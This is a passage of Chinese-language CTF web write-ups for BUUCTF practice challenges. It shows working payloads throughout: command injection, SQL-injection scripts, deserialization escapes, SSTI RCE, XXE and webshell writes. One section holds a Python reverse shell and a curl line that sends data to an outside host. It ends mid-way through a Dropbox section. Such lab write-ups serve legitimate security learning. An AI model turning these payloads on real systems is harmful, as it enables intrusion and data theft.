buuctf——web刷題第三頁

第三頁

目錄

[FBCTF2019]RCEService

[0CTF 2016]piapiapia

[Zer0pts2020]Can you guess it?

[WUSTCTF2020]顏值成績查詢

[SUCTF 2019]Pythonginx

[MRCTF2020]套娃

[CSCCTF 2019 Qual]FlaskLight

[watevrCTF-2019]Cookie Store

[WUSTCTF2020]CV Maker

[紅明谷CTF 2021]write_shell

[RCTF2015]EasySQL

[NCTF2019]True XML cookbook

[網鼎杯 2020 白虎組]PicDown

[b01lers2020]Welcome to Earth

[CISCN2019 華北賽區 Day1 Web1]Dropbox

[HFCTF2020]EasyLogin

October 2019 Twice SQL Injection

[SWPUCTF 2018]SimplePHP

[GYCTF2020]Ezsqli

[CISCN2019 總決賽 Day2 Web1]Easyweb

[RootersCTF2019]I_<3_Flask

[NPUCTF2020]ezinclude

[NCTF2019]SQLi

[網鼎杯 2020 半決賽]AliceWebsite

[網鼎杯 2018]Comment

[HarekazeCTF2019]encode_and_encode

[網鼎杯2018]Unfinish

[CISCN2019 華東南賽區]Double Secret


[FBCTF2019]RCEService
json格式,pcre回溯,絕對路徑命令

提示用json格式寫,然后看源碼為cmd:

{"cmd":"ls"}

返回index.php

這里是被過濾了很多東西,這里我們可以通過%0A換行來繞過

?cmd={%0A%22cmd%22:%22ls /home%22%0A}

查看home目錄發現rceservice

但是我們cat的時候發現沒回顯

其實一開始找flag的時候用到了“ find / -name flag”發現沒回顯,然后flag改為index.php后也沒有,也就是這個命令根本執行不了

看看源碼發現了這個東西:putenv('PATH=/home/rceservice/jail');

環境變量為jail,也就是我們需要通過絕對路徑來調用函數,

Linux命令的位置:/bin,/usr/bin,默認都是全體用戶使用,/sbin,/usr/sbin,默認root用戶使用

所以我們找flag的payload:?cmd={%0A%22cmd%22:%22/usr/bin/find / -name flag%22%0A}

?cmd={%0A%22cmd%22:%22/bin/cat /home/rceservice/flag %22%0A}

讀flag

這題還有一種做法, PCRE回溯機制有一個回溯限制次數——大約100 萬次,當回溯超出這個次數,還沒吐完的字符串就可以逃逸繞過匹配
通過發送超長字符串的方式,使正則執行失敗,讓傳入的參數逃逸,從而正常執行命令繞過限制

(這題post提交也可以)

import requests

payload = '{"cmd":"ls /", "abc":"'+'a'*1000000+'"}'

url=''

res = requests.post("url",data = {"cmd":payload})

print(res.text)

[0CTF 2016]piapiapia

一開始以為是sql,結構是目錄掃描,掃到www.zip文件

有一個flag

看一下這個class.php

<?php
require('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}
}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}
}
session_start();
$user = new user();
$user->connect($config);

還有profile.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>

我們在profile.php中找到了一個file_get_contents,然后看看怎么搞photo

photo的值來源于$profile['photo']

而profile的值來源于$profile = unserialize($profile);

看一下update.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>

$profile['photo'] = 'upload/' . md5($file['name']);這里直接傳的話會md5加密,就不能搞到我們想要的

我們這里用到字符串逃逸:
public function filter($string) {

$escape = array('\'', '\\\\');

$escape = '/' . implode('|', $escape) . '/';

$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');

$safe = '/' . implode('|', $safe) . '/i';

return preg_replace($safe, 'hacker', $string);

}

只要我們傳入'select', 'insert', 'update', 'delete', 'where'中任意一個,都會被替換成hacker

其中,where——>hacker就是從5個字符串到6個字符串

先來個正常的:

<?php
$profile['phone'] = '11451451451';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = 'admin';
$profile['photo'] = 'config.php';
echo serialize($profile);
?>

序列化后為

a:4:{s:5:"phone";s:11:"11451451451";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:10:"config.php";}

這里,紅色部分是正確的,是我們想要的,但是這個片段會被md5加密,我們就可以給 nickname 這個參數

傳入紅色部分:

<?php
$profile['phone'] = '11451451451';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = '"};s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';
echo serialize($profile);
?>

結果:

a:4:{s:5:"phone";s:11:"11451451451";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:34:""};s:5:"photo";s:10:"config.php";}";s:5:"photo";s:10:"config.php";}

紅色部分為傳入的值,共34位,綠色部分因為;}的存在會被去掉

但是這時候紅色部分任視為變量nickname的值,我們就要把他頂出來,可以連續34個where

那么為什么我們是";}s:5:"photo";s:10:"config.php";} ,為什么有個}呢

我們做個測試:

可見數組序列化是要多一個{}的,

因為where和hacker相差1,我們就用34個來把上面的紅字部分頂出來

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

記得把nickname加上[],這里源碼限制nickname長度小于10,用數組繞過

然后去profile.php看源碼,發現base64加密

[Zer0pts2020]Can you guess it?
$_SERVER['PHP_SELF']和basename

點一下source看源碼:

<?php
include 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)");
}if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit();
}$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if (hash_equals($secret, $guess)) {$message = 'Congratulations! The flag is: ' . FLAG;} else {$message = 'Wrong.';}
}
?>
<!doctype html>
<html lang="en"><head><meta charset="utf-8"><title>Can you guess it?</title></head><body><h1>Can you guess it?</h1><p>If your guess is correct, I'll give you the flag.</p><p><a href="?source">Source</a></p><hr>
<?php if (isset($message)) { ?><p><?= $message ?></p>
<?php } ?><form action="index.php" method="POST"><input type="text" name="guess"><input type="submit"></form></body>
</html>

$_SERVER['PHP_SELF']會獲取我們當前的訪問路徑,并且PHP在根據URI解析到對應文件后會忽略掉URL中多余的部分,即若訪問存在的index.php頁面,如下兩種UR均會訪問到。

/index.php

/index.php/config.php

basename可以理解為對傳入的參數路徑截取最后一段作為返回值,但是該函數發現最后一段為不可見字符時會退取上一層的目錄,即:

$var1="/config.php/test"

basename($var1) => test

$var2="/config.php/%ff"

basename($var2) => config.php

我們就可以直接/index.php/config.php/%ff?source

[WUSTCTF2020]顏值成績查詢

這里發現就1~4有東西

然后試了一下好像也沒用上union,select,后面發現用bool盲注

使用^異或,

即1^1查詢出來不存在

1^0查出來存在

這里直接放一個大佬的腳本:

不過這個腳本不是異或,就是普通的比較

import timeimport requestsSuccess_message = "Hi"def database_name():db_name = ''for i in range(1, 10):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakdb_name += chr(mid)print("數據庫名: " + db_name)return db_namedef table_name():name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + '?stunum=(ascii(substr((select(group_concat(table_name))from(' \'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid)time.sleep(0.2)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print("表名: " + name)table_list = name.split(",")for tab_name in table_list:column_name(tab_name)def column_name(tab_name):name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + '?stunum=(ascii(substr((select(group_concat(column_name))from(' \'information_schema.columns)where(table_name="%s")and(table_schema=database())), %d, ' \'1)) > %d)' % (tab_name, j, mid)time.sleep(0.2)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print(("%s表的字段名: " + name) % tab_name)column_list = name.split(",")for col_name in column_list:get_data(tab_name, col_name)def get_data(tab_name, col_name):data = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (col_name, tab_name, i, mid)time.sleep(0.2)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakdata += chr(mid)print(("%s表的%s字段數據: " + data) % (tab_name, col_name))if __name__ == '__main__':url = input("請輸入url:")database_name()table_name()

如果是異或的話,就給個參考:

import requests
import time
import stringurl='http://258998ef-4e58-489f-b5f4-1218d6369b7a.node5.buuoj.cn:81/'str=string.digits + string.ascii_lowercase + '{}-_'result =''for i in range(1,100):for j in str:payload=url+'?stunum=0^(ascii(substr(database(),{i},1))={q})'.format(i=i,q=ord(j))res=requests.get(payload)time.sleep(0.2)if 'Hi' in res.text:result+=jprint(result)break

但是這個確實比二分法慢多了

[SUCTF 2019]Pythonginx
idan編碼unicode解碼+nginx配置文件

源碼:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():url = request.args.get("url")host = parse.urlparse(url).hostnameif host == 'suctf.cc':return "我扌 your problem? 111"parts = list(urlsplit(url))host = parts[1]if host == 'suctf.cc':return "我扌 your problem? 222 " + hostnewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)# 去掉 url 中的空格finalUrl = urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return urllib.request.urlopen(finalUrl).read()else:return "我扌 your problem? 333"

簡單測試一下

import requests
from urllib import parse
from urllib.parse import urlsplit, urlunsplit
import urllib.requestdef a(url):host = parse.urlparse(url).hostnameprint ('1'+host)parts = list(urlsplit(url))print(parts)host = parts[1]print ('2'+host)newhost = []print(newhost)for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)print(newhost)print(parts)# 去掉 url 中的空格finalUrl = urlunsplit(parts).split(' ')[0]print(finalUrl)host = parse.urlparse(finalUrl).hostnameprint ('3'+host)url = 'http://getUrl/suctf.cc/'
a(url)

emmm,看了大佬的博客,說是通過

for h in host.split('.'):

newhost.append(h.encode('idna').decode('utf-8'))

的編碼,解碼不一致繞過

這里也是直接拿了大佬的腳本來過:

chars = ['s', 'u', 'c', 't', 'f']
for c in chars:for i in range(0x7f, 0x10FFFF):try:char_i = chr(i).encode('idna').decode('utf-8')if char_i == c:print('ASCII: {}   Unicode: {}    Number: {}'.format(c, chr(i), i))except:pass

運行后就可以自己替換一個

這里是配置文件里面有flag的路徑

/getUrl?url=file://𝑆uctf.cc/usr/local/nginx/conf/nginx.conf

/getUrl?url=file://𝑆uctf.cc/usr/fffffflag

部分nginx的配置文件所在位置

配置文件存放目錄:/etc/nginx

主配置文件:/etc/nginx/conf/nginx.conf

管理腳本:/usr/lib64/systemd/system/nginx.service

模塊:/usr/lisb64/nginx/modules

應用程序:/usr/sbin/nginx

程序默認存放位置:/usr/share/nginx/html

日志默認存放位置:/var/log/nginx

[MRCTF2020]套娃

抓包看到有代碼:

<!--
//1st
$query = $_SERVER['QUERY_STRING'];if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){die('Y0u are So cutE!');
}if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){echo "you are going to the next ~";
}
!-->

不能出現_,我們就用.來替代,因為如果變量中有.和空格,會自動轉為_

然后preg_match我們就用換行符繞過

?b.u.p.t=23333%0a

訪問抓包發現有一坨東西;

問ai是 JSFuck 編碼

解碼網站

post提交Merak,看到源碼:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); 
} function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

這個getIp()嘗試過常見的XFF繞過方法無效,要添加一個Client-ip請求字段

然后2333就是典的data偽協議

change的話是對base64解碼后偏轉

這里是直接搬運了一個腳本:

<?php 
function change($v) {$v = base64_decode($v);$re = '';for ($i=0; $i < strlen($v); $i++) { $re .= chr(ord($v[$i]) + $i * 2);}return $re;
}function unChange($v){$re = '';for ($i=0; $i < strlen($v); $i++) { $re .= chr(ord($v[$i]) - $i * 2);}$re = base64_encode($re);return $re;
}

ZmpdYSZmXGI=

[CSCCTF 2019 Qual]FlaskLight
ssti

抓包查看,有提示

ssti

這題可以直接用fenqing跑出來

但是我們還是希望知道到底怎么搞

payload:

{{lipsum['__g''lobals__'].__builtins__.__import__('os').popen('ls').read()}}

{{lipsum['__g''lobals__'].get('os').popen('cat flasklight/coomme_geeeett_youur_flek').read()}}

——————————————

這里我們如果輸入{{''.__class__.__base__.__subclasses__()}}

看不了,那就用mro

{{''.__class__.__mro__[2].__subclasses__()}}

這里的 mro[2] 相當于返回當前類的上兩級,便到了object類,成功

然后就開始找有什么可以用的

這里拿一個大佬的腳本

import requests
url = input('請輸入url鏈接:')
for i in range(500):
data = "?search={{().class.base.subclasses()["+str(i)+"].init['glo'+'bals']}}"
url += data;
try:
response = requests.get(url)
# print(response.text)
if 'os.py' in response.text:
print(i)
break
except:
pass

就是找到os模塊來調用

——————————

還可以用config

{{config.__class__.__init__['__g''lobals__'].os.popen('ls').read()}}

[watevrCTF-2019]Cookie Store

抓包看到session有東西,base64加密,拿去解密

我們把他換成500然后帶回去

出flag:

[WUSTCTF2020]CV Maker

注冊后登錄,然后文件上傳:

出:

[紅明谷CTF 2021]write_shell
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){// if(preg_match("/'| |_|=|php/",$input)){die('hacker!!!');}else{return $input;}
}function waf($input){if(is_array($input)){foreach($input as $key=>$output){$input[$key] = waf($output);}}else{$input = check($input);}
}$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){mkdir($dir);
}
switch($_GET["action"] ?? "") {case 'pwd':echo $dir;break;case 'upload':$data = $_GET["data"] ?? "";waf($data);file_put_contents("$dir" . "index.php", $data);
}
?>

先看看源碼:

check是用來過濾的,waf判斷是否為數組,switch就是我們利用的部分

sandbox/17ac2685d5d5a6c401e7f5b28a603095/

data就是我們可以寫入命令的地方:

?action=upload&data=%3C?=`ls%09/`?%3E,訪問:

?action=upload&data=%3C?=`tac%09/f*`?%3E 出

[RCTF2015]EasySQL
二次注入,reverse反轉,estractvalue報錯注入

打開界面發現有2個模塊,login和register

登錄后發現有個修改密碼的模塊,有二次注入

猜測修改代碼的邏輯是這樣:

update password='xxxx' where username="xxxx"

然后發現修改代碼部分正常的沒回顯的,所以要用到報錯注入

表:

1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))#

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

1"||extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag))))#

6,看看users表

其實這里應該是real_flag_1s_here,但是extractvalue最多顯示32位,我們可以用

reverse()來反轉

try

1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))))#

發現有這個東西,這里猜測是填充了這種無效的信息,那我們就用正則表達式來篩選

1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#

倒敘:1"||extractvalue(1,reverse(concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

flag{eaf13c40-4425-4a14-883a-088405548177}

[NCTF2019]True XML cookbook

總感覺在哪里見過

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note [

<!ENTITY admin SYSTEM "file:///etc/passwd">

]>

可以查看賬戶的基本信息,然后發現不能直接訪問,看了大佬的博客

一些關于內網的文件

/proc/net/tcp—— 顯示當前系統中所有 TCP 連接的狀態

/proc/net/udp—— 顯示當前系統中所有 UDP 套接字的信息

/proc/net/dev—— 展示了所有 網絡接口的收發統計信息

/proc/net/fib_trie——這是 FIB的一個調試接口,顯示了 Linux 路由表的 Trie 樹結構

FIB 是路由子系統的一部分,用于決定 IP 數據包的下一跳地址

/proc/hosts—— 查看內網存活主機

/proc/net/arp——查看系統的 ARP 表

arp就是把ipv4地址轉換為ipv6

然后很奇怪,我看其他師傅這么搞都可以顯示出內網ip,但是我沒有:

總之就是找到內網ip后用http去試,找flag

file=index.php的時候發現返回一個空界面,filter過濾器轉base64:

?file=php://filter/convert.base64-encode/resource=index.php

解密后:

<?phpini_set('open_basedir', '/var/www/html/');// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {echo('no way!');exit;}@include($file);
}
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" /><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><h2>2077發售了,不來份實體典藏版嗎?</h2><img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO--><div class="row"><div class="col-md-8 col-md-offset-2 centered"><h3>提交訂單</h3><form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>電話:</h3><input type="text" class="subscribe-input" name="phone"><h3>地址:</h3><input type="text" class="subscribe-input" name="address"></p><button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送錢之人</button></form></div></div></div>
</div><div id="f"><div class="container"><div class="row"><h2 class="mb">訂單管理</h2><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查訂單</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收貨地址</button></a><a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

然后嘗試了幾個文件沒啥用,看看給的3個php文件

search.php:

<?phprequire_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}$msg = "<p>姓名:".$row['user_name']."</p><p>, 電話:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";} else {$msg = "未找到訂單!";}
}else {$msg = "信息不全";
}
?>

change.php:

<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "訂單修改成功";} else {$msg = "未找到訂單!";}
}else {$msg = "信息不全";
}
?>

delete.php:

<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "訂單刪除成功";} else {$msg = "未找到訂單!";}
}else {$msg = "信息不全";
}
?>

發現config.php:

<?phpini_set("open_basedir", getcwd() . ":/etc:/tmp");$DATABASE = array("host" => "127.0.0.1","username" => "root","password" => "root","dbname" =>"ctfusers"
);$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

通過代碼審計,發現突破口因該是address,也就是二次注入

語句就是

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

首先說一下,這題的flag在flag.txt里面,至于為什么在這里面,看了幾個wp也沒看到(悲)

這里可以address=',`address`=(select(load_file("/flag.txt")))#

將所有的address值都變為flag.txt中內容

就是輸入數據,address為',`address`=(select(load_file("/flag.txt")))#

然后change中隨便address去修改,然后再查詢就好了

當然。還可以用報錯注入:(和上面那題幾乎一樣)

1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),31,60))))#

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

[網鼎杯 2020 白虎組]PicDown

python2的urlliburlopen

抓包,看到url試試文件讀取,file協議不行,直接可以

這里是 python2的urlliburlopen,和urllib2中的urlopen明顯區別就是urllib.urlopen支持將路徑作為參數去打開對應的本地路徑,所以可以直接填入路徑讀取文件

包含environ

惡意代碼注入到/proc/self/environ

?page=../../../../../proc/self/environ

User-Agent如下:

<?system('wget shell-url -O shell.php');?>

proc目錄

proc文件系統是一個偽文件系統,它只存在內存當中,而不占用外存空間。它以文件系統的方式為訪問系統內核數據的操作提供接口。

還有的是一些以數字命名的目錄,他們是進程目錄。系統中當前運行的每一個進程都有對應的一個目錄在/proc下,以進程的PID號為目錄名,他們是讀取進程信息的接口。而self目錄則是讀取進程本身的信息接口,是一個link

進程中的部分文件

cmdline

cmdline 文件存儲著啟動當前進程的完整命令,但僵尸進程目錄中的此文件不包含任何信息

cwd

cwd 文件是個指向當前進程運行目錄的符號鏈接。可以通過查看cwd文件獲取目標指定進程環境的運行目錄

exe

exe 是一個指向啟動當前進程的可執行文件(完整路徑)的符號鏈接。通過exe文件我們可以獲得指定進程的可執行文件的完整路徑

environ

environ文件存儲著當前進程的環境變量列表,彼此間用空字符(NULL)隔開,變量用大寫字母表示,其值用小寫字母表示。可以通過查看environ目錄來獲取指定進程的環境變量信息

fd

fd是一個目錄,里面包含著當前進程打開的每一個文件的描述符(file descriptor)差不多就是路徑,這些文件描述符是指向實際文件的一個符號連接,即每個通過這個進程打開的文件都會顯示在這里。所以我們可以通過fd目錄的文件獲取進程,從而打開每個文件的路徑以及文件內容

查看指定進程打開的某個文件的內容。加上那個數字即可,在Linux系統中,如果一個程序用 open() 打開了一個文件,但是最終沒有關閉它,即使從外部(如:os.remove(SECRET_FILE))刪除這個文件之后,在/proc這個進程的 pid目錄下的fd文件描述符目錄下還是會有這個文件的文件描述符,通過這個文件描述符我們即可以得到被刪除的文件的內容

self

/proc/self表示當前進程目錄

?url=/proc/self/cwd/app.py看源碼

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllibapp = Flask(__name__)SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)@app.route('/')
def index():return render_template('search.html')@app.route('/page')
def page():url = request.args.get("url")try:if not url.lower().startswith("file"):res = urllib.urlopen(url)value = res.read()response = Response(value, mimetype='application/octet-stream')response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'return responseelse:value = "HACK ERROR!"except:value = "SOMETHING WRONG!"return render_template('search.html', res=value)@app.route('/no_one_know_the_manager')
def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=8080)

審計,我們需要利用/no_one_know_the_manager,同時需要key

key這里我們利用fd

爆破發現key

然后反彈shell

?key=arzTSdH0PKQWVMcQ1SNPOe0xiO7SgzsYe8jK+ATmpqg=&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你自己的ip",端口號));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

或者外帶

no_one_know_the_manager?key=arzTSdH0PKQWVMcQ1SNPOe0xiO7SgzsYe8jK+ATmpqg=&shell=curl ip:端口/`ls /|base64`

非預期

[b01lers2020]Welcome to Earth

一開始進去頁面抓包沒看到啥,試試刪掉url的die

抓包后:

訪問/chase/抓包

<!DOCTYPE html>
<html><head><title>Welcome to Earth</title></head><body><h1>CHASE!</h1><p>You managed to chase one of the enemy fighters, but there's a wall comingup fast!</p><button onclick="left()">Left</button><button onclick="right()">Right</button><imgsrc="/static/img/Canyon_Chase_16.png"alt="canyon chase"style="width:60vw;"/><script>function sleep(ms) {return new Promise(resolve => setTimeout(resolve, ms));}async function dietimer() {await sleep(1000);die();}function die() {window.location = "/die/";}function left() {window.location = "/die/";}function leftt() {window.location = "/leftt/";}function right() {window.location = "/die/";}dietimer();</script></body>
</html>

訪問/leftt/

訪問/shoot/

訪問/door/

訪問/open/

訪問/fight/

然后直接拼起來:pctf{hey_boys_im_baaaaaaaaaack!}

[CISCN2019 華北賽區 Day1 Web1]Dropbox

phar

先注冊登錄

有個上傳文件,上傳后可以下載

發現可以通過改filename來控制下載文件,就可以讀源碼:

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}
?><!DOCTYPE html>
<html><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>網盤管理</title><head><link href="static/css/bootstrap.min.css" rel="stylesheet"><link href="static/css/panel.css" rel="stylesheet"><script src="static/js/jquery.min.js"></script><script src="static/js/bootstrap.bundle.min.js"></script><script src="static/js/toast.js"></script><script src="static/js/panel.js"></script>
